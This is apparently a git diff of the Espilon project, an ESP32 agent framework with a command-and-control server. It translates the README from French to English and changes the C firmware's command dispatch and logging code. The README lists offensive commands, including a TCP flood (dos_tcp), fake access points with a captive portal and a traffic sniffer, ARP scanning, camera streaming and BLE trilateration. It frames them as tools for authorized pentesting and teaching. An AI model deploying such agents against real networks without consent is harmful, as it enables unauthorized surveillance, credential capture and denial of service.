|
||||
**Minimal configuration** (menuconfig):
|
||||
|
||||
```c
|
||||
Espilon Bot Configuration
|
||||
├─ Device ID: "votre_id_unique"
|
||||
├─ Network → WiFi
|
||||
│ ├─ SSID: "VotreWiFi"
|
||||
│ └─ Password: "VotreMotDePasse"
|
||||
└─ Server
|
||||
├─ IP: "192.168.1.100"
|
||||
└─ Port: 2626
|
||||
|- Device ID: "your_unique_id"
|
||||
|- Network -> WiFi
|
||||
| |- SSID: "YourWiFi"
|
||||
| |- Password: "YourPassword"
|
||||
|- Server
|
||||
|- IP: "192.168.1.100"
|
||||
|- Port: 2626
|
||||
```
|
||||
|
||||

|
||||
|
||||
---
|
||||
|
||||
## Qu'est-ce qu'Espilon ?
|
||||
## What is Espilon?
|
||||
|
||||
Espilon transforme des microcontrôleurs ESP32 abordables à **~5€** en agents networked puissants pour :
|
||||
Espilon transforms affordable ESP32 microcontrollers (~$5) into powerful networked agents for:
|
||||
|
||||
- **Recherche en sécurité** : Tests WiFi, reconnaissance réseau, IoT pentesting
|
||||
- **Éducation** : Apprentissage de l'embarqué, protocoles réseau, FreeRTOS
|
||||
- **Prototypage IoT** : Communication distribuée, monitoring, capteurs
|
||||
- **Security research**: WiFi testing, network reconnaissance, IoT pentesting
|
||||
- **Education**: Learning embedded systems, network protocols, FreeRTOS
|
||||
- **IoT prototyping**: Distributed communication, monitoring, sensors
|
||||
|
||||
### Modes de Connectivité
|
||||
### Connectivity Modes
|
||||
|
||||
| Mode | Hardware | Portée | Use Case |
|
||||
|------|----------|--------|----------|
|
||||
| **WiFi** | ESP32 standard | 50-100m | Labs, bâtiments |
|
||||
| Mode | Hardware | Range | Use Case |
|
||||
|------|----------|-------|----------|
|
||||
| **WiFi** | Standard ESP32 | 50-100m | Labs, buildings |
|
||||
| **GPRS** | LilyGO T-Call | National (2G) | Mobile, remote |
|
||||
|
||||
**General Packet Radio Service** vs **WiFi**
|
||||
|
||||
---
|
||||
|
||||
## Architecture
|
||||
|
||||
```md
|
||||
┌─────────────────────────────────────────────────────┐
|
||||
│ ESP32 Agent │
|
||||
│ ┌───────────┐ ┌──────────┐ ┌─────────────────┐ │
|
||||
│ │ WiFi/ │→ │ ChaCha20 │→ │ C2 Protocol │ │
|
||||
│ │ GPRS │← │ Crypto │← │ (nanoPB/TCP) │ │
|
||||
│ └───────────┘ └──────────┘ └─────────────────┘ │
|
||||
│ ↓ ↓ ↓ │
|
||||
│ ┌───────────────────────────────────────────────┐ │
|
||||
│ │ Module System (FreeRTOS) │ │
|
||||
│ │ [Network] [FakeAP] [Recon] [Custom...] │ │
|
||||
│ └───────────────────────────────────────────────┘ │
|
||||
└─────────────────────────────────────────────────────┘
|
||||
↕ Encrypted TCP
|
||||
┌──────────────────────┐
|
||||
│ C2 Server (C3PO) │
|
||||
│ - Device Registry │
|
||||
│ - Group Management │
|
||||
│ - CLI Interface │
|
||||
└──────────────────────┘
|
||||
```
|
||||
+---------------------------------------------------------+
|
||||
| ESP32 Agent |
|
||||
| +-----------+ +----------+ +---------------------+ |
|
||||
| | WiFi/ |->| ChaCha20 |->| C2 Protocol | |
|
||||
| | GPRS |<-| Crypto |<-| (nanoPB/TCP) | |
|
||||
| +-----------+ +----------+ +---------------------+ |
|
||||
| | | | |
|
||||
| +-----------------------------------------------------+|
|
||||
| | Module System (FreeRTOS) ||
|
||||
| | [Network] [FakeAP] [Recon] [Custom...] ||
|
||||
| +-----------------------------------------------------+|
|
||||
+---------------------------------------------------------+
|
||||
| Encrypted TCP
|
||||
+---------------------+
|
||||
| C2 Server (C3PO) |
|
||||
| - Device Registry |
|
||||
| - Group Management |
|
||||
| - CLI Interface |
|
||||
+---------------------+
|
||||
```
|
||||
|
||||
### Composants Clés
|
||||
### Key Components
|
||||
|
||||
- **Core** : Connexion réseau, crypto ChaCha20, protocole nanoPB
|
||||
- **Modules** : Système extensible (Network, FakeAP, Recon, etc.)
|
||||
- **C2 (C3PO)** : Serveur Python asyncio pour contrôle multi-agents
|
||||
- **C3PO**: Ancien c2 (serveur web - Trilateration + Front affichage caméra)
|
||||
- **Flasher** : Outil de flash multi-device automatisé
|
||||
- **Core**: Network connection, ChaCha20 crypto, nanoPB protocol
|
||||
- **Modules**: Extensible system (Network, FakeAP, Recon, etc.)
|
||||
- **C2 (C3PO)**: Python asyncio server for multi-agent control
|
||||
- **Flasher**: Automated multi-device flashing tool
|
||||
|
||||
---
|
||||
|
||||
## Modules Disponibles
|
||||
## Available Modules
|
||||
|
||||
### System Module (Built-in, toujours actif désactivable dans les src)
|
||||
> **Important note**: Modules are **mutually exclusive**. You must choose **only one module** during configuration via menuconfig.
|
||||
|
||||
Commandes système de base :
|
||||
### System Module (Built-in, always active)
|
||||
|
||||
- `system_reboot` : Redémarrage de l'ESP32
|
||||
- `system_mem` : Affichage de l'utilisation mémoire (heap free, heap min, internal free)
|
||||
- `system_uptime` : Temps de fonctionnement depuis le boot
|
||||
Basic system commands:
|
||||
|
||||
- `system_reboot`: Reboot the ESP32
|
||||
- `system_mem`: Display memory usage (heap free, heap min, internal free)
|
||||
- `system_uptime`: Uptime since boot
|
||||
|
||||
### Network Module
|
||||
|
||||
Module pour reconnaissance et tests réseau :
|
||||
Module for network reconnaissance and testing:
|
||||
|
||||
- `ping <host> [args...]` : Test de connectivité ICMP
|
||||
- `arp_scan` : Découverte des hôtes sur le réseau local via ARP
|
||||
- `proxy_start <ip> <port>` : Démarrer un proxy TCP
|
||||
- `proxy_stop` : Arrêter le proxy en cours
|
||||
- `dos_tcp <ip> <port> <count>` : Test de charge TCP (à usage autorisé uniquement)
|
||||
- `ping <host> [args...]`: ICMP connectivity test
|
||||
- `arp_scan`: Discover hosts on local network via ARP
|
||||
- `proxy_start <ip> <port>`: Start a TCP proxy
|
||||
- `proxy_stop`: Stop the running proxy
|
||||
- `dos_tcp <ip> <port> <count>`: TCP load test (authorized use only)
|
||||
|
||||
### FakeAP Module
|
||||
|
||||
Module pour création de points d'accès WiFi simulés :
|
||||
Module for creating simulated WiFi access points:
|
||||
|
||||
- `fakeap_start <ssid> [open|wpa2] [password]` : Démarrer un faux point d'accès
|
||||
- `fakeap_stop` : Arrêter le faux AP
|
||||
- `fakeap_status` : Afficher le statut (AP, portal, sniffer, clients)
|
||||
- `fakeap_clients` : Lister les clients connectés
|
||||
- `fakeap_portal_start` : Activer le portail captif
|
||||
- `fakeap_portal_stop` : Désactiver le portail captif
|
||||
- `fakeap_sniffer_on` : Activer la capture de trafic réseau
|
||||
- `fakeap_sniffer_off` : Désactiver la capture
|
||||
- `fakeap_start <ssid> [open|wpa2] [password]`: Start a fake access point
|
||||
- `fakeap_stop`: Stop the fake AP
|
||||
- `fakeap_status`: Display status (AP, portal, sniffer, clients)
|
||||
- `fakeap_clients`: List connected clients
|
||||
- `fakeap_portal_start`: Enable captive portal
|
||||
- `fakeap_portal_stop`: Disable captive portal
|
||||
- `fakeap_sniffer_on`: Enable network traffic capture
|
||||
- `fakeap_sniffer_off`: Disable capture
|
||||
|
||||
### Recon Module
|
||||
|
||||
Module de reconnaissance et collecte de données. Deux modes disponibles :
|
||||
Reconnaissance and data collection module. Two modes available:
|
||||
|
||||
#### Mode Camera (ESP32-CAM)
|
||||
#### Camera Mode (ESP32-CAM)
|
||||
|
||||
- `cam_start <ip> <port>` : Démarrer le streaming vidéo UDP (~7 FPS, QQVGA)
|
||||
- `cam_stop` : Arrêter le streaming
|
||||
- `cam_start <ip> <port>`: Start UDP video streaming (~7 FPS, QQVGA)
|
||||
- `cam_stop`: Stop streaming
|
||||
|
||||
#### Mode BLE Trilateration
|
||||
#### BLE Trilateration Mode
|
||||
|
||||
- `trilat start <mac> <url> <bearer>` : Démarrer la trilatération BLE avec POST HTTP
|
||||
- `trilat stop` : Arrêter la trilatération
|
||||
- `trilat start <mac> <url> <bearer>`: Start BLE trilateration with HTTP POST
|
||||
- `trilat stop`: Stop trilateration
|
||||
|
||||
---
|
||||
|
||||
**Configuration** : `idf.py menuconfig` → Espilon Bot Configuration → Modules
|
||||
**Configuration**: `idf.py menuconfig` -> Espilon Bot Configuration -> Modules
|
||||
|
||||
Choisissez **un seul module** :
|
||||
Choose **only one module**:
|
||||
|
||||
- `CONFIG_MODULE_NETWORK` : Active le Network Module
|
||||
- `CONFIG_MODULE_FAKEAP` : Active le FakeAP Module
|
||||
- `CONFIG_MODULE_RECON` : Active le Recon Module
|
||||
- Puis choisir : `Camera` ou `BLE Trilateration`
|
||||
- `CONFIG_MODULE_NETWORK`: Enable the Network Module
|
||||
- `CONFIG_MODULE_FAKEAP`: Enable the FakeAP Module
|
||||
- `CONFIG_MODULE_RECON`: Enable the Recon Module
|
||||
- Then choose: `Camera` or `BLE Trilateration`
|
||||
|
||||
---
|
||||
|
||||
## Outils
|
||||
## Tools
|
||||
|
||||
### Multi-Device Flasher
|
||||
|
||||
Flasher automatisé pour configurer plusieurs ESP32 :
|
||||
Automated flasher to configure multiple ESP32s:
|
||||
|
||||
```bash
|
||||
cd tools/flasher
|
||||
python3 flash.py --config devices.json
|
||||
```
|
||||
|
||||
**devices.json** :
|
||||
**devices.json**:
|
||||
|
||||
```json
|
||||
{
|
||||
"project": "/home/user/epsilon/espilon_bot",
|
||||
"project": "/path/to/espilon_bot",
|
||||
"devices": [
|
||||
## WiFi AGENT ##
|
||||
{
|
||||
"device_id": "ce4f626b",
|
||||
"device_id": "esp001",
|
||||
"port": "/dev/ttyUSB0",
|
||||
"srv_ip": "192.168.1.13",
|
||||
"srv_port": 2626,
|
||||
"network_mode": "wifi",
|
||||
"wifi_ssid": "MyWiFi",
|
||||
"wifi_pass": "MyPassword123",
|
||||
"hostname": "pixel-8-pro",
|
||||
"module_network": true,
|
||||
"module_recon": false,
|
||||
"module_fakeap": false,
|
||||
"recon_camera": false,
|
||||
"recon_ble_trilat": false,
|
||||
"crypto_key": "testde32chars00000000000000000000",
|
||||
"crypto_nonce": "noncenonceno"
|
||||
},
|
||||
|
||||
## GPRS AGENT ##
|
||||
{
|
||||
"device_id": "a91dd021",
|
||||
"port": "/dev/ttyUSB1",
|
||||
"srv_ip": "203.0.113.10",
|
||||
"srv_port": 2626,
|
||||
"network_mode": "gprs",
|
||||
"gprs_apn": "sl2sfr",
|
||||
"hostname": "galaxy-s24-ultra",
|
||||
"module_network": true,
|
||||
"module_recon": false,
|
||||
"module_fakeap": false
|
||||
"wifi_ssid": "MyNetwork",
|
||||
"wifi_pass": "MyPassword",
|
||||
"srv_ip": "192.168.1.100"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
Voir [tools/flasher/README.md](tools/flasher/README.md) pour la documentation complète.
|
||||
See [tools/flasher/README.md](tools/flasher/README.md) for complete documentation.
|
||||
|
||||
### C2 Server (C3PO)
|
||||
|
||||
Serveur de Command & Control :
|
||||
Command & Control server:
|
||||
|
||||
```bash
|
||||
cd tools/c2
|
||||
@ -260,137 +267,135 @@ pip3 install -r requirements.txt
|
||||
python3 c3po.py --port 2626
|
||||
```
|
||||
|
||||
**Commandes** :
|
||||
**Commands**:
|
||||
|
||||
- `list` : Lister les agents connectés
|
||||
- `select <id>` : Sélectionner un agent
|
||||
- `cmd <command>` : Exécuter une commande
|
||||
- `group` : Gérer les groupes d'agents
|
||||
- `list`: List connected agents
|
||||
- `select <id>`: Select an agent
|
||||
- `cmd <command>`: Execute a command
|
||||
- `group`: Manage agent groups
|
||||
|
||||
---
|
||||
|
||||
## Sécurité
|
||||
## Security
|
||||
|
||||
### Chiffrement
|
||||
### Encryption
|
||||
|
||||
- **ChaCha20** pour les communications C2
|
||||
- **Clés configurables** via menuconfig
|
||||
- **Protocol Buffers (nanoPB)** pour la sérialisation
|
||||
- **ChaCha20** for C2 communications
|
||||
- **Configurable keys** via menuconfig
|
||||
- **Protocol Buffers (nanoPB)** for serialization
|
||||
|
||||
⚠️ **CHANGEZ LES CLÉS PAR DÉFAUT** pour un usage en production :
|
||||
**CHANGE DEFAULT KEYS** for production use:
|
||||
|
||||
```bash
|
||||
# Générer des clés aléatoires
|
||||
# Generate random keys
|
||||
openssl rand -hex 32 # ChaCha20 key (32 bytes)
|
||||
openssl rand -hex 12 # Nonce (12 bytes)
|
||||
```
|
||||
|
||||
### Usage Responsable
|
||||
### Responsible Use
|
||||
|
||||
Espilon doit être utilisé uniquement pour :
|
||||
Espilon should only be used for:
|
||||
|
||||
- Tests d'intrusion **autorisés**
|
||||
- Recherche en sécurité **éthique**
|
||||
- Éducation et formation
|
||||
- Prototypage IoT légitime
|
||||
- **Authorized** penetration testing
|
||||
- **Ethical** security research
|
||||
- Education and training
|
||||
- Legitimate IoT prototyping
|
||||
|
||||
**Interdit** : Accès non autorisé, attaques malveillantes, violation de confidentialité.
|
||||
**Prohibited**: Unauthorized access, malicious attacks, privacy violations.
|
||||
|
||||
---
|
||||
|
||||
## Cas d'Usage
|
||||
## Use Cases
|
||||
|
||||
### Pentest WiFi
|
||||
### WiFi Pentesting
|
||||
|
||||
- Audit de sécurité réseau
|
||||
- Test de robustesse WPA2/WPA3
|
||||
- Cartographie réseau
|
||||
- Network security auditing
|
||||
- WPA2/WPA3 robustness testing
|
||||
- Network mapping
|
||||
|
||||
### IoT Security Research
|
||||
|
||||
- Test de devices IoT
|
||||
- Analyse de protocoles
|
||||
- Détection de vulnérabilités
|
||||
- IoT device testing
|
||||
- Protocol analysis
|
||||
- Vulnerability detection
|
||||
|
||||
### Éducation
|
||||
### Education
|
||||
|
||||
- Labs de cybersécurité
|
||||
- Cours d'embarqué
|
||||
- Cybersecurity labs
|
||||
- Embedded systems courses
|
||||
- CTF competitions
|
||||
|
||||
---
|
||||
|
||||
## Roadmap
|
||||
|
||||
### V2.0 (En cours)
|
||||
### V2.0 (In Progress)
|
||||
|
||||
- [ ] Mesh networking (BLE/WiFi)
|
||||
- [ ] Implémenter Module reccoon dans C3PO
|
||||
- [ ] Améliorer la Documentations [here](https://docs.espilon.net)
|
||||
- [ ] Improve documentation
|
||||
- [ ] OTA updates
|
||||
- [ ] Multilatération collaborative
|
||||
- [ ] Optimisation mémoire
|
||||
- [ ] Collaborative multilateration
|
||||
- [ ] Memory optimization
|
||||
|
||||
### Future
|
||||
|
||||
- [ ] PCB custom Espilon
|
||||
- [ ] Support ESP32-S3/C3
|
||||
- [ ] Module SDK pour extensions tierces
|
||||
- [ ] Web UI pour C2
|
||||
- [ ] Custom Espilon PCB
|
||||
- [ ] ESP32-S3/C3 support
|
||||
- [ ] Module SDK for third-party extensions
|
||||
- [ ] Web UI for C2
|
||||
|
||||
---
|
||||
|
||||
## Licence
|
||||
## License
|
||||
|
||||
Espilon est sous licence **MIT** avec addendum de sécurité.
|
||||
Espilon is licensed under **MIT** with a security addendum.
|
||||
|
||||
Voir [LICENSE](LICENSE) pour les détails complets.
|
||||
See [LICENSE](LICENSE) for full details.
|
||||
|
||||
**En résumé** :
|
||||
|
||||
- Utilisation libre pour recherche, éducation, développement
|
||||
- Modification et distribution autorisées
|
||||
- **Obtenir autorisation** avant tout déploiement
|
||||
- Usage malveillant strictement interdit
|
||||
**In summary**:
|
||||
- Free use for research, education, development
|
||||
- Modification and distribution allowed
|
||||
- **Obtain authorization** before any deployment
|
||||
- Malicious use strictly prohibited
|
||||
|
||||
---
|
||||
|
||||
## Contributeurs
|
||||
## Contributors
|
||||
|
||||
- **@Eun0us** - Core architecture, modules
|
||||
- **@off-path** - C2 server, protocol
|
||||
- **@itsoktocryyy** - Network features, Wall Hack
|
||||
- **@itsoktocryyy** - Network features, work on Mod Wall Hack
|
||||
- **@wepfen** - Documentation, tools
|
||||
|
||||
### Contribuer
|
||||
### Contributing
|
||||
|
||||
Contributions bienvenues ! Voir [CONTRIBUTING.md](CONTRIBUTING.md).
|
||||
Contributions welcome! See [CONTRIBUTING.md](CONTRIBUTING.md).
|
||||
|
||||
**Rejoignez-nous** :
|
||||
**Join us**:
|
||||
|
||||
- Rapporter des bugs
|
||||
- Proposer des features
|
||||
- Soumettre des PRs
|
||||
- Améliorer la doc
|
||||
- Report bugs
|
||||
- Propose features
|
||||
- Submit PRs
|
||||
- Improve documentation
|
||||
|
||||
---
|
||||
|
||||
## Liens Utiles
|
||||
## Useful Links
|
||||
|
||||
- **[Documentation complète](https://docs.espilon.net)**
|
||||
- **[Full documentation](https://docs.espilon.net)**
|
||||
- **[ESP-IDF Documentation](https://docs.espressif.com/projects/esp-idf/)**
|
||||
- **[LilyGO T-Call](https://github.com/Xinyuan-LilyGO/LilyGO-T-Call-SIM800)**
|
||||
- **English README** : [README.en.md](README.en.md)
|
||||
- **French README**: [README.md](README.md)
|
||||
|
||||
---
|
||||
|
||||
## Support
|
||||
|
||||
- **Issues** : [GitHub Issues](https://github.com/Espilon-Net/Espilon-Source/issues)
|
||||
- **Discussions** : [GitHub Discussions](https://github.com/Espilon-Net/Espilon-Source/discussions)
|
||||
- **Issues**: [GitHub Issues](https://github.com/Espilon-Net/Espilon-Source/issues)
|
||||
- **Discussions**: [GitHub Discussions](https://github.com/Espilon-Net/Espilon-Source/discussions)
|
||||
|
||||
---
|
||||
|
||||
**Présenté initialement à Le Hack (Juin 2025)**
|
||||
**Originally presented at Le Hack (June 2025)**
|
||||
|
||||
**Made with love for security research and education**
|
||||
|
||||
@ -1,13 +1,26 @@
|
||||
#include "command.h"
|
||||
#include "utils.h"
|
||||
#include "esp_log.h"
|
||||
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
|
||||
static const char *TAG = "COMMAND";
|
||||
|
||||
static const command_t *registry[MAX_COMMANDS];
|
||||
static size_t registry_count = 0;
|
||||
|
||||
/* Max longueur lue/copied par arg (sécurité si non \0) */
|
||||
#ifndef COMMAND_MAX_ARG_LEN
|
||||
#define COMMAND_MAX_ARG_LEN 128
|
||||
#endif
|
||||
|
||||
/* Max args temporaires qu’on accepte ici (doit couvrir tes commandes) */
|
||||
#ifndef COMMAND_MAX_ARGS
|
||||
#define COMMAND_MAX_ARGS 16
|
||||
#endif
|
||||
|
||||
/* =========================================================
|
||||
* Register command
|
||||
* ========================================================= */
|
||||
@ -24,19 +37,120 @@ void command_register(const command_t *cmd)
|
||||
}
|
||||
|
||||
registry[registry_count++] = cmd;
|
||||
ESP_LOGI(TAG, "Registered command: %s", cmd->name);
|
||||
#ifdef CONFIG_ESPILON_LOG_CMD_REG_VERBOSE
|
||||
ESPILON_LOGI_PURPLE(TAG, "Registered command: %s", cmd->name);
|
||||
#endif
|
||||
}
|
||||
|
||||
/* =========================================================
|
||||
* Dispatch protobuf command
|
||||
* Summary
|
||||
* ========================================================= */
|
||||
void command_log_registry_summary(void)
|
||||
{
|
||||
if (registry_count == 0) {
|
||||
ESPILON_LOGI_PURPLE(TAG, "Registered commands: none");
|
||||
return;
|
||||
}
|
||||
|
||||
char buf[512];
|
||||
int off = snprintf(
|
||||
buf,
|
||||
sizeof(buf),
|
||||
"Registered commands (%d): ",
|
||||
(int)registry_count
|
||||
);
|
||||
|
||||
for (size_t i = 0; i < registry_count; i++) {
|
||||
const char *name = registry[i] && registry[i]->name
|
||||
? registry[i]->name : "?";
|
||||
const char *sep = (i == 0) ? "" : ", ";
|
||||
int n = snprintf(buf + off, sizeof(buf) - (size_t)off,
|
||||
"%s%s", sep, name);
|
||||
if (n < 0 || n >= (int)(sizeof(buf) - (size_t)off)) {
|
||||
if (off < (int)sizeof(buf) - 4) {
|
||||
strcpy(buf + (sizeof(buf) - 4), "...");
|
||||
}
|
||||
break;
|
||||
}
|
||||
off += n;
|
||||
}
|
||||
|
||||
ESPILON_LOGI_PURPLE(TAG, "%s", buf);
|
||||
}
|
||||
|
||||
/* =========================================================
|
||||
* Helpers: deep-copy argv into one arena + argv[] pointers
|
||||
* ========================================================= */
|
||||
static bool deepcopy_argv(char *const *argv_in,
|
||||
int argc,
|
||||
char ***argv_out,
|
||||
char **arena_out,
|
||||
const char *req_id)
|
||||
{
|
||||
*argv_out = NULL;
|
||||
*arena_out = NULL;
|
||||
|
||||
if (argc < 0) {
|
||||
msg_error("cmd", "Invalid argc", req_id);
|
||||
return false;
|
||||
}
|
||||
|
||||
if (argc == 0) {
|
||||
char **argv0 = (char **)calloc(1, sizeof(char *));
|
||||
if (!argv0) {
|
||||
msg_error("cmd", "OOM copying argv", req_id);
|
||||
return false;
|
||||
}
|
||||
*argv_out = argv0;
|
||||
*arena_out = NULL;
|
||||
return true;
|
||||
}
|
||||
|
||||
size_t total = 0;
|
||||
for (int i = 0; i < argc; i++) {
|
||||
const char *s = (argv_in && argv_in[i]) ? argv_in[i] : "";
|
||||
size_t n = strnlen(s, COMMAND_MAX_ARG_LEN);
|
||||
total += (n + 1);
|
||||
}
|
||||
|
||||
char *arena = (char *)malloc(total ? total : 1);
|
||||
char **argv_copy = (char **)malloc((size_t)argc * sizeof(char *));
|
||||
if (!arena || !argv_copy) {
|
||||
free(arena);
|
||||
free(argv_copy);
|
||||
msg_error("cmd", "OOM copying argv", req_id);
|
||||
return false;
|
||||
}
|
||||
|
||||
size_t off = 0;
|
||||
for (int i = 0; i < argc; i++) {
|
||||
const char *s = (argv_in && argv_in[i]) ? argv_in[i] : "";
|
||||
size_t n = strnlen(s, COMMAND_MAX_ARG_LEN);
|
||||
|
||||
argv_copy[i] = &arena[off];
|
||||
memcpy(&arena[off], s, n);
|
||||
arena[off + n] = '\0';
|
||||
off += (n + 1);
|
||||
}
|
||||
|
||||
*argv_out = argv_copy;
|
||||
*arena_out = arena;
|
||||
return true;
|
||||
}
|
||||
|
||||
/* =========================================================
|
||||
* Dispatch nanopb command
|
||||
* ========================================================= */
|
||||
void command_process_pb(const c2_Command *cmd)
|
||||
{
|
||||
if (!cmd) return;
|
||||
|
||||
const char *name = cmd->command_name;
|
||||
/* nanopb: tableaux fixes => jamais NULL */
|
||||
const char *name = cmd->command_name;
|
||||
const char *reqid = cmd->request_id;
|
||||
const char *reqid_or_null = (reqid[0] ? reqid : NULL);
|
||||
|
||||
int argc = cmd->argv_count;
|
||||
char **argv = (char **)cmd->argv;
|
||||
|
||||
for (size_t i = 0; i < registry_count; i++) {
|
||||
const command_t *c = registry[i];
|
||||
@ -44,22 +158,48 @@ void command_process_pb(const c2_Command *cmd)
|
||||
if (strcmp(c->name, name) != 0)
|
||||
continue;
|
||||
|
||||
/* Validate argc */
|
||||
if (argc < c->min_args || argc > c->max_args) {
|
||||
msg_error("cmd", "Invalid argument count",
|
||||
cmd->request_id);
|
||||
msg_error("cmd", "Invalid argument count", reqid_or_null);
|
||||
return;
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "Execute: %s (argc=%d)", name, argc);
|
||||
|
||||
if (c->async) {
|
||||
/* Ton async copie déjà argv/request_id dans une queue => OK */
|
||||
command_async_enqueue(c, cmd);
|
||||
} else {
|
||||
c->handler(argc, argv, cmd->request_id, c->ctx);
|
||||
return;
|
||||
}
|
||||
|
||||
/* ================================
|
||||
* SYNC PATH (FIX):
|
||||
* Ne PAS caster cmd->argv en char**
|
||||
* On construit argv_ptrs[] depuis cmd->argv[i]
|
||||
* ================================ */
|
||||
if (argc > COMMAND_MAX_ARGS) {
|
||||
msg_error("cmd", "Too many args", reqid_or_null);
|
||||
return;
|
||||
}
|
||||
|
||||
char *argv_ptrs[COMMAND_MAX_ARGS] = {0};
|
||||
for (int a = 0; a < argc; a++) {
|
||||
/* Fonctionne que cmd->argv soit char*[N] ou char[N][M] */
|
||||
argv_ptrs[a] = (char *)cmd->argv[a];
|
||||
}
|
||||
|
||||
/* Deep-copy pour rendre sync aussi safe que async */
|
||||
char **argv_copy = NULL;
|
||||
char *arena = NULL;
|
||||
|
||||
if (!deepcopy_argv(argv_ptrs, argc, &argv_copy, &arena, reqid_or_null))
|
||||
return;
|
||||
|
||||
c->handler(argc, argv_copy, reqid_or_null, c->ctx);
|
||||
|
||||
free(argv_copy);
|
||||
free(arena);
|
||||
return;
|
||||
}
|
||||
|
||||
msg_error("cmd", "Unknown command", cmd->request_id);
|
||||
msg_error("cmd", "Unknown command", reqid_or_null);
|
||||
}
|
||||
|
||||
@ -39,6 +39,7 @@ typedef struct {
|
||||
* Registry
|
||||
* ============================================================ */
|
||||
void command_register(const command_t *cmd);
|
||||
void command_log_registry_summary(void);
|
||||
|
||||
/* ============================================================
|
||||
* Dispatcher (called by process.c)
|
||||
|
||||
@ -62,7 +62,7 @@ void command_async_init(void)
|
||||
NULL
|
||||
);
|
||||
|
||||
ESP_LOGI(TAG, "Async command system ready");
|
||||
ESPILON_LOGI_PURPLE(TAG, "Async command system ready");
|
||||
}
|
||||
|
||||
/* =========================================================
|
||||
|
||||
@ -36,6 +36,7 @@ void wifi_init(void)
|
||||
ESP_ERROR_CHECK(esp_netif_init());
|
||||
ESP_ERROR_CHECK(esp_event_loop_create_default());
|
||||
esp_netif_create_default_wifi_sta();
|
||||
esp_netif_create_default_wifi_ap();
|
||||
|
||||
wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
|
||||
ESP_ERROR_CHECK(esp_wifi_init(&cfg));
|
||||
@ -149,4 +150,4 @@ void tcp_client_task(void *pvParameters)
|
||||
}
|
||||
}
|
||||
|
||||
#endif /* CONFIG_NETWORK_WIFI */
|
||||
#endif /* CONFIG_NETWORK_WIFI */
|
||||
|
||||
@ -9,7 +9,7 @@ bool com_init(void)
|
||||
{
|
||||
#ifdef CONFIG_NETWORK_WIFI
|
||||
|
||||
ESP_LOGI(TAG, "Init WiFi backend");
|
||||
ESPILON_LOGI_PURPLE(TAG, "Init WiFi backend");
|
||||
|
||||
wifi_init();
|
||||
|
||||
@ -28,7 +28,7 @@ bool com_init(void)
|
||||
|
||||
#elif defined(CONFIG_NETWORK_GPRS)
|
||||
|
||||
ESP_LOGI(TAG, "Init GPRS backend");
|
||||
ESPILON_LOGI_PURPLE(TAG, "Init GPRS backend");
|
||||
|
||||
setup_uart();
|
||||
setup_modem();
|
||||
|
||||
@ -192,6 +192,7 @@ bool c2_decode_and_exec(const char *frame)
|
||||
free(plain);
|
||||
|
||||
/* 4) Log + dispatch */
|
||||
#ifdef CONFIG_ESPILON_LOG_C2_VERBOSE
|
||||
ESP_LOGI(TAG, "==== C2 COMMAND ====");
|
||||
ESP_LOGI(TAG, "name: %s", cmd.command_name);
|
||||
ESP_LOGI(TAG, "argc: %d", cmd.argv_count);
|
||||
@ -200,6 +201,18 @@ bool c2_decode_and_exec(const char *frame)
|
||||
ESP_LOGI(TAG, "arg[%d]=%s", i, cmd.argv[i]);
|
||||
}
|
||||
ESP_LOGI(TAG, "====================");
|
||||
#else
|
||||
ESP_LOGI(
|
||||
TAG,
|
||||
"C2 CMD: %s argc=%d req=%s",
|
||||
cmd.command_name,
|
||||
cmd.argv_count,
|
||||
cmd.request_id[0] ? cmd.request_id : "-"
|
||||
);
|
||||
for (int i = 0; i < cmd.argv_count; i++) {
|
||||
ESP_LOGD(TAG, "arg[%d]=%s", i, cmd.argv[i]);
|
||||
}
|
||||
#endif
|
||||
|
||||
process_command(&cmd);
|
||||
return true;
|
||||
|
||||
@ -7,6 +7,9 @@ extern "C" {
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
#include <stdint.h>
|
||||
#include <stdarg.h>
|
||||
#include <inttypes.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "sdkconfig.h"
|
||||
#include "esp_log.h"
|
||||
@ -21,6 +24,36 @@ extern "C" {
|
||||
#define MAX_ARGS 10
|
||||
#define MAX_RESPONSE_SIZE 1024
|
||||
|
||||
/* ============================================================
|
||||
* LOG HELPERS
|
||||
* ============================================================ */
|
||||
#ifdef CONFIG_LOG_COLORS
|
||||
#define ESPILON_LOG_PURPLE "\033[0;35m"
|
||||
#define ESPILON_LOG_RESET "\033[0m"
|
||||
#else
|
||||
#define ESPILON_LOG_PURPLE ""
|
||||
#define ESPILON_LOG_RESET ""
|
||||
#endif
|
||||
|
||||
static inline void espilon_log_purple(
|
||||
const char *tag,
|
||||
const char *fmt,
|
||||
...
|
||||
) {
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
|
||||
printf(ESPILON_LOG_PURPLE "I (%" PRIu32 ") %s: ",
|
||||
(uint32_t)esp_log_timestamp(), tag);
|
||||
vprintf(fmt, args);
|
||||
printf(ESPILON_LOG_RESET "\n");
|
||||
|
||||
va_end(args);
|
||||
}
|
||||
|
||||
#define ESPILON_LOGI_PURPLE(tag, fmt, ...) \
|
||||
espilon_log_purple(tag, fmt, ##__VA_ARGS__)
|
||||
|
||||
/* Socket TCP global */
|
||||
extern int sock;
|
||||
|
||||
|
||||
@ -1,4 +1,4 @@
|
||||
idf_component_register(SRCS "mod_web_server.c" "mod_fakeAP.c" "mod_netsniff.c"
|
||||
idf_component_register(SRCS "cmd_fakeAP.c" "mod_web_server.c" "mod_fakeAP.c" "mod_netsniff.c"
|
||||
INCLUDE_DIRS .
|
||||
REQUIRES esp_http_server
|
||||
PRIV_REQUIRES esp_netif lwip esp_wifi esp_event nvs_flash core)
|
||||
PRIV_REQUIRES esp_netif lwip esp_wifi esp_event nvs_flash core command)
|
||||
@ -17,3 +17,18 @@ void fakeap_mark_authenticated(ip4_addr_t ip);
|
||||
/* Internal use only - exported for mod_web_server.c */
|
||||
extern ip4_addr_t authenticated_clients[MAX_CLIENTS];
|
||||
extern int authenticated_count;
|
||||
|
||||
/* ===== ACCESS POINT ===== */
|
||||
void start_access_point(const char *ssid, const char *password, bool open);
|
||||
void stop_access_point(void);
|
||||
|
||||
/* ===== CAPTIVE PORTAL ===== */
|
||||
void *start_captive_portal(void);
|
||||
void stop_captive_portal(void);
|
||||
|
||||
/* ===== SNIFFER ===== */
|
||||
void start_sniffer(void);
